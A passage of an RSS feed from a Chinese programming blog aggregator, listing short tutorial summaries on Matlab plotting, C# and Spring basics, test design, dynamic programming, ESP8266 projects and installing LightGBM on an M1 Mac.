      <description>近日需要用Matlab绘制一些三维曲面图，并对其进行标注。于是这些天花了些功夫重新梳理了一遍关于Matlab三维曲面作图的一些注意事项，在此记录备案，便于以后使用查找。&#xA;任务要求：已知函数形式，绘制三维曲面 此次以下函数为例，介绍Matlab三维曲面的绘制方式&#xA;z = 1 − x 2 + ( y − 1 ) 2 z = 1-\sqrt{x^{2}+(y-1)^{2}} z=1−x2+(y−1)2 ​&#xA;成品效果图如下：&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt; 绘图讲解： 1. 绘制三维图像 [X,Y] = meshgrid(x,y);：将x和y网格化，得到网格化的后的变量X和Y 所谓的网格化即将原本的一维的坐标轴x和y组合，成为一个二维的平面X和Y。可能有些人会觉得不太好理解，我也不太能用语言描述清楚。不过在工作区点开X和Y查看其内部的具体值之后即可理解。&#xA;Fig = mesh(X,Y,Z);：以X，Y和Z为数据绘制三维曲面，并将此曲面赋值给Fig 在最开始的时候我都是用mesh(X,Y,Z)而不用其返回值，后来发现使用返回值调整参数更加容易（这个具体后续细说）&#xA;在掌握这两段代码后，能够绘制一个最基本的三维曲面，代码如下：&#xA;clear;clc; %清除前置数据 %数据预处理&#xA;x = linspace(0,1,50); %设置x轴的范围&#xA;y = x; %设置y轴范围&#xA;[X,Y] = meshgrid(x,y); %将其x，y轴网格化&#xA;Z = 1-sqrt((X).2+(Y-1).2); %直接计算&#xA;%绘制曲面&#xA;Fig = mesh(X,Y,Z); %绘制三维曲面图&#xA;由此我们能得到一个非常简陋的三维曲面，而这样的曲面距离我们的要求还有一段距离。&#xA;2. 坐标轴的设置 上图最明显的感觉就是太空了，因此我们需要为其加上坐标轴：&#xA;xlabel(&#39;x&#39;);：设置x轴的变量为xylabel(&#39;$y$&#39;,&#39;interpreter&#39;,&#39;latex&#39;);：将y轴的变量设置为LaTeX格式的y（这里的代码和LaTeX公式代码完全一致）zlabel(&#39;$z$&#39;,&#39;interpreter&#39;,&#39;latex&#39;,&#39;FontSize&#39;,18);：除上述功能外，设置z轴变量的字体大小为18pttitle(&#39;$z = 1-\sqrt{x^{2}+(y-1)^{2}}$&#39;,&#39;interpreter&#39;,&#39;latex&#39;,&#39;FontWeight&#39;,&#39;bold&#39;);：命名标题且加粗 坐标轴的设置还有很多功能，比如说替换字体这种，可以通过帮助文档（在命令行输入help text查看）&#xA;注：这里help的是text，这样才有足够详细的可选项说明&#xA;我们通过以下代码设置坐标轴的格式：（这里的L(i)同上述Fig可以去掉）</description>
    </item>
    <item>
      <title>关于Element Plus图标组件局部引用问题</title>
      <link>https://bchobby.github.io/posts/287871ea41a054661e504f9778bd73e1/</link>
      <pubDate>Tue, 17 May 2022 22:59:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/287871ea41a054661e504f9778bd73e1/</guid>
      <description> 使用官方给出的可能看不到效果，以UploadFilled图标组件为例子，可以试试这种方法&#xA;// 引用（看自己下载的使@element-plus/icons还是@element-plus/icons-vue,我这里是icons） import { UploadFilled } from &#34;@element-plus/icons&#34; // 注册 components: { [UploadFilled.name]: UploadFilled } // 使用 方法一：&amp;lt;upload-filled /&amp;gt; 方法二：&amp;lt;UploadFilled /&amp;gt; 方法三：&amp;lt;upload-filled class=&#34;upload-filled-icon&#34; /&amp;gt; </description>
    </item>
    <item>
      <title>一.c#基础 [Unity_Learn_RPG_1]</title>
      <link>https://bchobby.github.io/posts/73e3f50ce5bc022302123ab2d2403eaa/</link>
      <pubDate>Tue, 17 May 2022 22:12:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73e3f50ce5bc022302123ab2d2403eaa/</guid>
      <description>一.C#、unity C# 基础 1.面向对象 1).面向过程和面向对象 a.面向过程 就是把一个需求/问题，分成一步步的逻辑，很像数学里的解答。&#xA;关心的是解决问题的步骤。&#xA;b.面向对象 把需求分为一个个对象。&#xA;关心的是对象在做什么。以及对象之间的交互。&#xA;2).类和对象 a.先有类还是现有对象 设计角度：现有对象，再有类。根据需求，我们从中分析，提取出一有相同行为的&#34;类”。&#xA;编码角度：肯定是先有类了，不然new 什么呢？&#xA;b.类与类 类是抽象的。是抽象的&#34;类别&#34;。类与类行为不同。&#xA;什么是行为？我的理解其实就是代码，如果一个类的代码改变了，那么它的逻辑也改变，逻辑改变体现在对象的实际执行上，也就是对象的行为也会因为逻辑的改变而改变。&#xA;那么不同类的代码肯定是不一样的，所以行为也不一样。&#xA;c.对象与对象 对象和对象数据不同。&#xA;不同类的对象就不说了。同类型的对象呢？&#xA;d.区分是对象不同还是类不同 比如人这个类。&#xA;游戏的捏脸功能就是如此，修改一些不同的属性数据即可。比如有的人腿长，有的人腿短，只是数据不同。&#xA;但是如果需求要人能飞，能射出蛛丝，“一般&#34;来说我们就得新建一个类了。给它加上 飞行/喷射蛛丝 的行为。&#xA;所以，对象和对象的不同，只是数据上，比如腿的长短。而类就得是 行为/功能 上的不同。&#xA;类与类行为不同；对象与对象数据不同。 2.主要思想 分而治之&#xA;将一个大的需求分解为许多类，每个类处理一个独立的模块。&#xA;拆分好处：独立模块便于分工，每个模块便于复用，可扩展性强。&#xA;封装变化&#xA;变化的地方独立封装，避免影响其他模块。&#xA;高内聚&#xA;类中各个方法都在完成一项任务(单一职责的类)。&#xA;复杂的实现封装在内部，对外提供简单的调用。&#xA;低耦合&#xA;类与类的关联性依赖度要低(每个类独立)。&#xA;让一个模块的改变，尽少影响其他模块。&#xA;1).分而治之和封装变化 分而治之其实就是模块化。&#xA;封装变化：&#xA;比如我们可以攻击，但是攻击可以分为用手，用武器，等。那么我们就应该用一个专门的武器类来封装这些。&#xA;难点在于，什么时候该用类来封装。老师的说法是，变化。&#xA;就比如攻击，当攻击方式多样化的时候，就应该封装了。&#xA;2).高内聚和低耦合 也很简单。老师也列了一个例子。&#xA;[例如：硬件高度集成化，又要可插拔]&#xA;最高的内聚莫过于类中仅包含1个方法，将会导致高内聚高耦合。&#xA;最低的耦合莫过于类中包含所有方法，将会导致低耦合低内聚。&#xA;高内聚高耦合&#xA;说的是，如果类都是最简单的一个方法那种，是高内聚了，但是实现一个功能，往往不可能这么简单，那么就得调用多个类，导致高耦合。&#xA;低耦合低内聚&#xA;极端的一个类囊括所有功能。低耦合的确，但是各种功能都在一个类，导致了低内聚。&#xA;2.继承 复习一些基础知识&#xA;1).栈和堆 深入理解堆栈、堆在内存中的实现&#xA;什么是堆？什么是栈？他们之间有什么区别和联系？&#xA;推荐看这篇知乎回答。&#xA;管理方式：栈由编译器自动管理，无需人为控制。而堆释放工作由程序员控制，容易产生内存泄漏（memory leak）。&#xA;空间大小：在32位系统下，堆内存可以达到4G的空间（虚拟内存的大小，有面试官问过），从这个角度来看堆内存大小可以很大。但对于栈来说，一般都是有一定的空间大小的。</description>
    </item>
    <item>
      <title>【1&#43;X】正交实验法</title>
      <link>https://bchobby.github.io/posts/5e79db9d80905878af98f00edb31bc12/</link>
      <pubDate>Tue, 17 May 2022 22:00:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e79db9d80905878af98f00edb31bc12/</guid>
      <description>想看更多内容请移步专栏 转载：【1+X】软件测试技术 - 正交实验法 - 蓝桥云课 (lanqiao.cn)&#xA;正交实验法 知识点 正交实验法介绍正交实验法案例 简介 判定表法和因果图法均是考虑有多个输入条件，并且不同的输入条件的组合会得出不同的动作的情况，但他们不适合输入条件过多的情况。比如某学校有一个查询历年学生档案的程序，有 5 个查询条件，如下图所示。可以通过程序界面上查询条件中的其中一项或多项进行查询，然后把查询结果罗列出来。那么测试人员该如何对该查询功能点进行测试呢？&#xA;暂且不考虑每个文本框输入内容的限制，只考虑他们“填”或“不填”的组合条件查询的话，可以设计出 25=32 条测试用例，根据组合的原理，设计用例如下表所示。&#xA;序号姓名专业年级班级户籍地1不填不填不填不填不填2不填不填不填不填填3不填不填不填填不填4不填不填不填填填5不填不填填不填不填6不填不填填不填填7不填不填填填不填8不填不填填填填9不填填不填不填不填10不填填不填不填填11不填填不填填不填12不填填不填填填13不填填填不填不填14不填填填不填填15不填填填填不填16不填填填填填17填不填不填不填不填18填不填不填不填填19填不填填填不填20填不填不填填填21填不填填不填不填22填不填填不填填23填不填填填不填24填不填填填填25填填不填不填不填26填填不填不填填27填填不填填不填28填填不填填填29填填填不填不填30填填填不填填31填填填填不填32填填填填填 仅仅组合“填”或“不填”的组合测试，就有 32 条测试用例，测试用例太多了，投入和回报不相符。那如果随机取部分用例进行测试呢？测试时又没有把握，那些没有被测试到的组合该怎么办呢？那么作为测试人员，该怎么解决这种问题呢？这个时候就要使用到正交实验法，正交实验法设计测试用例是考虑用最少的用例来覆盖大量组合的情况。接下来一起来看一下什么是正交实验法。&#xA;正交实验法介绍 正交实验法是套用正交表来设计测试用例的方法。&#xA;那什么是正交表呢？古希腊是一个多民族的国家，国王在检阅臣民时要求每个方队中每行有一个民族代表，每列也要有一个民族的代表。数学家在设计方阵时，以每一个拉丁字母表示一个民族，所以设计的方阵称为拉丁方，正交表由此演化而来。正交表是通过运用数学理论在拉丁方和正交拉丁方的基础上，从大量的（实验）数据中挑选合适的、有代表性的条件组合构造而成的规格化表格。&#xA;正交实验法是一种基于正交表的、高效率、快速、经济的实验设计方法，它研究的“多因素多水平”的情况，然后套用正交表来随机地产生用例（用例之间没有主次之分），是一种提高测试覆盖率的简单易用的方法。&#xA;因素（Factor）：在一项实验中，凡是被考查的变量就称为因素。&#xA;水平（Level）：在实验范围内，因素被考查的值称为水平。&#xA;前文有提到，正交实验法是套用正交表来随机地产生用例的一种方法。一些测试新人容易陷入“研究如何得出正交表”的错误思维，在此提醒一下，正交表格是无数科学家的智慧凝聚而成，读者无需去深究正交表是如何得出的，我们在设计测试用例的时候直接去套用对应的表格即可。&#xA;查询正交表的方式有 2 种：&#xA;为方便读者使用，本书在附录 1 中列出了一些常用的正交表格。可通过附录查询适合的正交表。通过链接查询：http://support.sas.com/techsup/technote/ts723_Designs.txt 正交表的表现形式可描述如下：&#xA;L 行数（水平数因素数）&#xA;行数（Runs）：正交表中行的个数，也就是实验的次数，也指测试用例的个数。&#xA;因素数（Factors）：指正交表中列的个数。&#xA;水平数（Levels）：任何单个因素能够取得的值的最大个数。&#xA;如何选择正交表是一个关键问题。首先考虑因素的个数，其次考虑因素水平的个数，最后考虑正交表的行数，且选择符合条件的行数最少的一个正交表进行套用。笔者会通过案例详细讲解它的套用方法。&#xA;读者可能会有疑问，正交实验法是根据正交性从全面实验中挑选出部分有代表性的点进行实验，它的选择原理是什么呢？为什么这个表格可以代表所有的实验可能呢？主要是因为选择出来的这些有代表性的点具备了“均匀分散、齐整可比”的特点。&#xA;** 整齐可比性:** 在同一张正交表中，每个因素的每个水平出现的次数是完全相同的。由于在实验中每个因素的每个水平与其他因素的每个水平参与实验的几率是完全相同的，这就保证在各个水平中最大程度的排除了其他因素水平的干扰。因而，能最有效地进行比较和做出展望，容易找到好的实验条件。&#xA;均衡分散性: 在同一张正交表中，任意两列（两个因素）的水平搭配（横向形成的数字对）是完全相同的。这样就保证了实验条件均衡地分散在因素水平的完全组合之中，因而具有很强的代表性，容易得到好的实验条件。&#xA;以上特点充分体现了正交表的两大优越性，通俗地说，每个因素的每个水平与另一个因素的每个个水平都能够出现一次组合，这就是正交性。使用正交实验法设计测试用例的步骤如下：&#xA;确定有哪些因素？确定每个因素有几个水平？选择合适的正交表。把变量的值映射到表中。加上认为可疑且没有在表中出现的组合。把每一行的各因素水平的组合作为一个测试用例 正交实验法案例 案例 1-学生信息查询 如本节开篇所示的程序“历年学生信息查询”界面，利用正交实验法对其设计测试用例。&#xA;【解析】：&#xA;确定表中的因素数。&#xA;共有 5 个因素：姓名、专业、年级、班级、户籍地。故因素数=5。&#xA;确定每个因素的水平数。&#xA;通过分析，以上 5 个因素的水平数均为“填”和“不填”。故水平数=2。&#xA;选择合适的正交表。&#xA;通过第 1 步和第 2 步的分析，正交表应该是 25，但经过查询附录 1，表格中接近的只有 L4（23）和 L8（27），那么我们只能选择 L8（27），因为如果选择列数少的表格会缺失部分因素的取值。但如果表格中列数数多于实际因素数，则把表格中多余的列简单粗暴地直接删除就可以了。L8（27）正交表如下表所示：</description>
    </item>
    <item>
      <title>李宏毅机器学习笔记【未完】</title>
      <link>https://bchobby.github.io/posts/b036eb27b2d5ab8db81c3016a881a2e4/</link>
      <pubDate>Tue, 17 May 2022 16:09:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b036eb27b2d5ab8db81c3016a881a2e4/</guid>
      <description>李宏毅2021/2022春机器学习课程&#xA;【《2021机器学习-李宏毅》学习笔记】&#xA;一、机器学习 1.机器学习基本概念 找一个函数。&#xA;深度学习：使用类神经网络的函数。&#xA;可以有各式各样的输入：向量，矩阵（如图像），序列（如语音，文本）；也可以有各式各样的输出：数值（regression），类别（classification），文本图像…&#xA;函数类别 Regression（回归）：输出是一个数值（scalar）&#xA;Classification（分类）：给定选项/类别（classes），输出正确的&#xA;Structured Learning：创造一些结构（image，document）&#xA;如何找一个函数（训练） 1.Function with unknown parameters.&#xA;model：&#xA;y = b + w x 1 y = b + wx_1 y=b+wx1​&#xA;x：feature；w：weight；b：bias&#xA;2.Define loss from training data.&#xA;Loss是未知参数的函数，L(b, w)，How good a set of value is.&#xA;例如，MAE，MSE；error surface（误差曲面）&#xA;3.Optimization 找到一组w和b让loss最小&#xA;w ∗ , b ∗ = a r g m i n w , b L w^*,b^* = arg\underset{w,b}{\mathrm{\ min}}\ L w∗,b∗=argw,b min​ L</description>
    </item>
    <item>
      <title>想学习C语言的第不知道多少天</title>
      <link>https://bchobby.github.io/posts/b6e46de6b4394fa7322070fa1eb23c2c/</link>
      <pubDate>Tue, 17 May 2022 15:39:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6e46de6b4394fa7322070fa1eb23c2c/</guid>
      <description>https://bbs.csdn.net/skill/c</description>
    </item>
    <item>
      <title>《我要进大厂》- Spring框架 夺命连环22问，你能坚持到第几问？（Spring高频问题）</title>
      <link>https://bchobby.github.io/posts/0ae5e513f91cccea86c92066c5c2da70/</link>
      <pubDate>Tue, 17 May 2022 12:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ae5e513f91cccea86c92066c5c2da70/</guid>
      <description>??博客首页：热 ??&#xA;??文章目的：Spring框架高频 面试题分享??&#xA;文章出处：Spring常见问题总结&#xA;??博主在学习阶段，如若发现问题，请告知，非常感谢??&#xA;??同时也非常感谢各位小伙伴们的支持??&#xA;??每日一语：脚踏实地，勇往直前，你走过的路，每一步都算数！??&#xA;??感谢： 我只是站在巨人们的肩膀上整理本篇文章，感谢走在前路的大佬们！??&#xA;??最后，祝大家每天进步亿点点！ 欢迎大家点赞??收藏评论??支持博主??！??&#xA;上篇文章-《我要进大厂》- 计算机网络夺命连环23问，你能坚持到第几问？（TCP 三次握手、四次挥手）&#xA;文章目录 一、什么是 Spring 框架?二、列举一些重要的 Spring 模块？三、Spring,Spring MVC,Spring Boot 之间什么关系?四、Spring IOC &amp;amp; AOP 4.1 谈谈自己对于 Spring IoC 的了解4.2 谈谈自己对于 AOP 的了解4.3 Spring AOP 和 AspectJ AOP 有什么区别？ 五、Spring Bean 5.1 什么是 Spring Bean？5.2 将一个类声明为 Bean 的注解有哪些?5.3 @Component 和 @Bean 的区别是什么？5.4 注入 Bean 的注解有哪些？5.5 @Autowired 和 @Resource 的区别是什么？5.6 Bean 的作用域有哪些?5.7 单例 Bean 的线程安全问题了解吗？5.8 Bean 的生命周期了解么? 六、Spring MVC 6.</description>
    </item>
    <item>
      <title>Typora中将多张图片并排/分行显示</title>
      <link>https://bchobby.github.io/posts/5a3003246bb20083c95fa70aa31a52e7/</link>
      <pubDate>Tue, 17 May 2022 11:19:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a3003246bb20083c95fa70aa31a52e7/</guid>
      <description>居中并排&#xA;&amp;lt;center class=&#34;half&#34;&amp;gt; &amp;lt;img src=&#34;https://tva1.sinaimg.cn/large/007S8ZIlgy1ggnfolw5kxj30u00u0qe5.jpg&#34; width=&#34;300&#34;/&amp;gt; &amp;lt;img src=&#34;https://tva1.sinaimg.cn/large/007S8ZIlgy1ggnfolw5kxj30u00u0qe5.jpg&#34; width=&#34;300&#34;/&amp;gt; &amp;lt;/center&amp;gt; 左对齐并排&#xA;&amp;lt;figure class=&#34;third&#34;&amp;gt; &amp;lt;img src=&#34;https://tva1.sinaimg.cn/large/007S8ZIlgy1ggnfolw5kxj30u00u0qe5.jpg&#34; width=&#34;200&#34;/&amp;gt; &amp;lt;img src=&#34;https://tva1.sinaimg.cn/large/007S8ZIlgy1ggnfolw5kxj30u00u0qe5.jpg&#34; width=&#34;200&#34;/&amp;gt; &amp;lt;img src=&#34;https://tva1.sinaimg.cn/large/007S8ZIlgy1ggnfolw5kxj30u00u0qe5.jpg&#34; width=&#34;200&#34;/&amp;gt; &amp;lt;/figure&amp;gt; &amp;lt;center class=&#34;half&#34;&amp;gt; &amp;lt;img src=&#34;E:\2020\....jpg&#34; width = &#34;50%&#34; alt=&#34;***&#34; align=left /&amp;gt; &amp;lt;img src=&#34;E:\2020\... .jpg&#34; width = &#34;50%&#34; alt=&#34;***&#34; align=right /&amp;gt; &amp;lt;center&amp;gt; 修改图片大小&#xA;&amp;lt;img src=&#34;E:\2020\... .jpg&#34; width = &#34;50%&#34; height = &#34;70%&#34; alt=&#34;图片名称&#34; align=left /&amp;gt;</description>
    </item>
    <item>
      <title>WebStorm代码上传的方式</title>
      <link>https://bchobby.github.io/posts/35c00c08c2982fcd05e40fa3ca98448d/</link>
      <pubDate>Tue, 17 May 2022 10:20:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35c00c08c2982fcd05e40fa3ca98448d/</guid>
      <description> 1.创建本地仓库 2.在git上创建一个仓库 3.绑定上传地址 4.然后正常上传就可以了 </description>
    </item>
    <item>
      <title>python编写程序实现：有一栋9层高的宿舍，每层各有24间房间，请随机生成n间宿舍存放在列表dorm_list中给网络系使用，其中n由用户输入，寝室编码为x0y，x为楼层，y为宿舍编号。</title>
      <link>https://bchobby.github.io/posts/eab138a3f444c7b9cc9a8961f9e7b832/</link>
      <pubDate>Mon, 16 May 2022 22:33:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eab138a3f444c7b9cc9a8961f9e7b832/</guid>
      <description> import random floor = 9 room = 24 n = int(input(&#34;请输入您需要的房间数：&#34;)) b = &#34;{x}0{y}&#34; dorm_list = [] for i in range(n): x = random.randint(1, floor) y = random.randint(1, room) if i &amp;lt;= n: dorm_list.append(b.format(x=x, y=y)) print(&#34;网络系可以使用的房间在dorm_list内有：&#34;) for j in dorm_list: print(j, end=&#34; &#34;) </description>
    </item>
    <item>
      <title>动态规划（中）</title>
      <link>https://bchobby.github.io/posts/ef720a116132500c217af99be0bfbf36/</link>
      <pubDate>Mon, 16 May 2022 21:53:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef720a116132500c217af99be0bfbf36/</guid>
      <description>确定dp数组（dp table）以及下标的含义确定递推公式dp数组如何初始化确定遍历顺序举例推导dp数组 以上内容参考及总结参考（leetcode 和 代码随想录）：随想录—参考链接&#xA;3.打家劫舍（中） 198. 打家劫舍 题目描述： 给定一个代表每个房屋存放金额的非负整数数组，计算你 不触动警报装置的情况下 ，一夜之内能够偷窃到的最高金额。 示例 1： 输入：[1,2,3,1] 输出：4 解释：偷窃 1 号房屋 (金额 = 1) ，然后偷窃 3 号房屋 (金额 = 3)。 偷窃到的最高金额 = 1 + 3 = 4 。 示例 2： 输入：[2,7,9,3,1] 输出：12 解释：偷窃 1 号房屋 (金额 = 2), 偷窃 3 号房屋 (金额 = 9)，接着偷窃 5 号房屋 (金额 = 1)。 偷窃到的最高金额 = 2 + 9 + 1 = 12 。 class Solution: def rob(self, nums: List[int]) -&amp;gt; int: pre , cur = 0 , 0 for num in nums: pre , cur = cur , max(pre+num,cur) return cur 213.</description>
    </item>
    <item>
      <title>毫米波雷达传感技术方案，爱希ISEE人体感应器，智能感应人体存在控制应用</title>
      <link>https://bchobby.github.io/posts/c82018e4c0b232f4c5fd6b67a3ccf3ff/</link>
      <pubDate>Mon, 16 May 2022 17:56:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c82018e4c0b232f4c5fd6b67a3ccf3ff/</guid>
      <description>雷达感应器是基于多普勒雷达技术的自动感应控制产品，当有人进入感应范围时，雷达传感器探测到人体，自动接通负载，人不离开感应范围，将持续接通；人离开后，延时自动关闭负载。&#xA;人到灯亮，人离灯熄，亲切方便，安全节能，更显示出人性化关怀。毫米波雷达感应器，人体存在感知，灯光控制，节能环保，安全防护，适用于各种环境，支持第三方对接。&#xA;雷达传感器从原理上即具有明显的误触发低（可通过算法过滤），感应区域大（天线可配置），精准有效触发（特征点可复用）的优势。&#xA;可穿透雨雪雾，玻璃亚克力等材质，不受恶劣环境如温度，空气等环境影响也能够做出高颜值的外观。&#xA;人体存在雷达传感器，真正解决了目前行业的痛点，做到了静止存在人体监测。让我们隔着三四米盖着被子睡觉也可以被感知。&#xA;雷达人体感应器性能稳定，真正做到了既节能又环保，可以说是声控产品的替代产品。它是通过感应人体的存在、能自动快速开启各种灯具、防盗报警器、自动门等各种设备。&#xA;特别适用于酒店宾馆、公寓、办公室、商场、过道、走廊等。人体呼吸存在传感器，利用毫米波雷达技术，针对不同环境特点（空间大小，环境复杂程度）精选合适的ISM雷达频段。&#xA;通过人体进入环境后的距离，相位，呼吸，心跳等电磁波反馈信号数据进行特征提取，深度算法比对处理，进而分析环境中是否有人体存在。&#xA;不仅可以感知动态人体，还可以精准感知静态体征，在挂高3米的场景下，可以有效侦测到40平方米环境内人体的呼吸，超过100平方米的大动作。&#xA;人体存在感应器触发的时候不需要人发出任何声音，而是检测人体存在（呼吸存在、静止微动等）控制灯具的开启，当人离开后，经过一定时间的延时，自动熄灭。&#xA;因为不同于声光控灯，不需要声音和开关控制，从而避免了声控噪音的侵扰，同时因为它是感应人体控制开关，所以避免了无效电能的损耗，达到节能效果。&#xA;人体存在雷达传感器，可通过APP或者拨码可调整设备的灵敏度，延时，距离，从而大大提高了产品对环境的适应能力，做到与应用场景深度无缝衔接。&#xA;采用了极具优势的深度算法，相较于市场上友商的雷达传感器，能够做到有效过滤中央空调，窗帘，风扇，强电以及密集布景等安装环境的误触发。&#xA;雷达人体存在传感器在接口方面，提供了包含干接点，强电，PLC，485多样化接口，通讯方式也可支持涂鸦/私有云/LORA/NB等多种主流通讯方式。&#xA;当室内有人，且在选定的空间范围（如办公室、客厅）内间歇地活动时，该装置能保证正常供电，使用电设备正常、连续、稳定的工作。&#xA;人体感应器探测人体接近距离远近可调；探测区域呈扇形，覆盖空间范围大；环境温度适应性能高；非接触探测；抗射频干扰能力强。&#xA;与其他传感技术不同，毫米波具有非接触性和非干涉性，全天时全天候检测，可以穿过塑料、干墙和衣服等材料，使传感器可以隐藏在面板背后，广泛应用于第三卫生间、母婴室、智能家居、智慧消防、智慧酒店、智慧办公等应用场景。</description>
    </item>
    <item>
      <title>仅使用Dveaver（无需借助其他工具）一分钟导完/同步完几十万条数据</title>
      <link>https://bchobby.github.io/posts/210e4a5dd4018d941a3f4a57b80e42df/</link>
      <pubDate>Mon, 16 May 2022 13:46:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/210e4a5dd4018d941a3f4a57b80e42df/</guid>
      <description>一、不同连接源，不同数据表结构数据同步 1、在当前连接上执行sql语句查询出要导出的记录&#xA;2、鼠标右击，选择【导出结果集】&#xA;3、在【数据转化】页选择我们该次的导出方式-&amp;gt;【数据库表】；&#xA;4、在这里选中我们要转移到的目标表；&#xA;5、依次选择我们的查询结果将要导入的相应字段；&#xA;6、一直点击下一步，知道出现【开始】按钮，即可开始进行数据同步；&#xA;7、完成后刷新即可看到我们同步好的数据；&#xA;二、倘若是“不同连接上”的“相同表结构”进行数据同步的话那就更简单了 1、右击表名称，选择【导入数据】；&#xA;2、选择表-&amp;gt;数据库表；&#xA;3、点击选择【源端】里对应的数据库表；&#xA;4、一直点击下一步即可完成数据同步；</description>
    </item>
    <item>
      <title>安卓手机远程控制DIY智能家居设备(ESP8266)</title>
      <link>https://bchobby.github.io/posts/3dbbcc3e369bd336345f2f09b47fd80d/</link>
      <pubDate>Mon, 16 May 2022 10:29:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dbbcc3e369bd336345f2f09b47fd80d/</guid>
      <description> 一、准备材料:&#xA;手机（安卓手机，如果没有请忽略整篇文章）。电脑（windows， 如果没有请忽略整篇文章，此文章不适合大神阅读）。DIY智能设备（ESP8266基本上是绕不过去的，如果没有那就买一套，最多也就几十块钱，如果没有也不想买请忽略本文的绝大部分内容）网络服务器（可以在阿里、腾讯、华为等平台租赁服务器，最低配置的就可以了！花费几十到几千，可以找促销活动的时候买，我在腾讯140米买了3年的一个最低配置的服务器，目前对我来说完全足够使用了！）。服务器域名（自己玩的话可以忽略,反正到目前为止我的服务器还是没有域名，一直用服务器IP直接登录和连接）。 二、准备软件:&#xA;python3 用于服务器端程序的开发。ArduinoIDE 用于ESP8266WIFI模块的程序开发。www.wxbit.com 在网页上开发安卓手机app。 三、通信协议：&#xA;MQTT协议，非常适用于DIY智能家居的控制。其他协议，标准的非标准的自定义的都可以。 四、开发流程：&#xA;先使用www.wxbit.com 开发手机APP，平台上有标准的MQTT通信组件！可以在手机上先模拟控制智能家居设备，这个成本最小、上手最快！。(部分高级功能需要会员才能使用，对于初级玩家来说免费的部分就已经足够了) ESP8266程序开发，程序代码基于C/C++ 也很简单，网上例子一大把！先让模块跟服务器之间可以正常通信！剩下的再慢慢熟悉。服务先使用免费的服务器做开发测试。 服务器端程序开发，自己玩推荐使用Python开发。程序代码简单上手快！服务器端可以进行个性化定制。 </description>
    </item>
    <item>
      <title>M1芯片Mac安装lightgbm</title>
      <link>https://bchobby.github.io/posts/87748f08ddee2f0823abc59feec9bdc5/</link>
      <pubDate>Sun, 15 May 2022 23:58:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87748f08ddee2f0823abc59feec9bdc5/</guid>
      <description>一、报错内容 在Jupyter notebook中导入lightgbm时报错：&#xA;Referenced from: /opt/homebrew/anaconda3/envs/biligame/lib/python3.7/site-packages/lightgbm/lib_lightgbm.so Reason: tried: &#39;/usr/local/opt/libomp/lib/libomp.dylib&#39; (no such file), &#39;/usr/local/lib/libomp.dylib&#39; (no such file), &#39;/usr/lib/libomp.dylib&#39; (no such file) 二、尝试失败 1.一些解决方法 找了很多文章，尝试了无数次，无果。。。最详细的是这一篇：&#xA;[python] [lightgbm] Mac下安装lightgbm 其他参考：&#xA;M1芯片mac安装xgboost和lightgbm&#xA;MAC m1安装lightgbm时报错&#xA;三步在MacOS Anaconda安装ligthGBM&#xA;python3——解决MAC在import lightgbm时报错image not found&#xA;Mac环境下安装LightGBM的闯关记&#xA;MacBook Pro中安装LightGBM的超详细步骤&#xA;2.我的问题 我每次执行到这一步就会失败&#xA;git clone --recursive https://github.com/Microsoft/LightGBM 所以我放弃了&#xA;尝试在jupyter里重新用pip安装：&#xA;安装没问题√&#xA;pip install lightgbm 导入没问题√&#xA;import lightgbm as lgb 可是，运行模型会提示内核挂掉 。。。。&#xA;三、解决办法 功夫不负有心人，在我准备放弃之时，居然找到了解决方法！&#xA;超简单的，为什么我一开始没想到！&#xA;1.在jupyter里运行： conda install lightgbm 运行结果很长，看上去很曲折，但是成功了！&#xA;The following packages will be downloaded: package | build ---------------------------|----------------- _anaconda_depends-2021.</description>
    </item>
    <item>
      <title>使用matplotlib绘制饼图</title>
      <link>https://bchobby.github.io/posts/cab457013d9a0032eaa113211fbc6ff0/</link>
      <pubDate>Sun, 15 May 2022 22:29:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cab457013d9a0032eaa113211fbc6ff0/</guid>
      <description>根据消费类别，如外卖、零食、衣服、娱乐等，使用matplotlib绘制本月的消费支出饼图。&#xA;以代码插入方式提交源代码。并以图像文件提交运行截图&#xA;python代码：&#xA;import matplotlib.pyplot as plt from pylab import * mpl.rcParams[&#39;font.sans-serif&#39;] = [&#39;SimHei&#39;] # 显示中文字体 name = [&#34;外卖&#34;, &#34;零食&#34;, &#34;衣服&#34;, &#34;娱乐&#34;, &#34;其他&#34;] # 饼状图标签 data = [84, 79, 46, 62, 1] lt = [] for i in range(len(data)): result = data[i] / sum(data) # print(result) lt.append(result) # print(lt) print(lt) plt.axes(aspect=1) plt.pie(x=lt, autopct=&#39;%1.2f%%&#39;) # x表示饼状图的数据，autopct后面的值1.2表示保留2位小数，1.1表示保留一位小数 plt.legend(name, loc=&#34;best&#34;) # 绘制图的图例为name，位置为最佳 plt.title(&#34;本月的消费支出饼图&#34;) # 饼图的名称 plt.show() 运行截图：</description>
    </item>
    <item>
      <title>使用endnote在毕业论文中插入文献</title>
      <link>https://bchobby.github.io/posts/b04b2393aefd2ff0fd96d1b5daf628e1/</link>
      <pubDate>Sun, 15 May 2022 22:26:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b04b2393aefd2ff0fd96d1b5daf628e1/</guid>
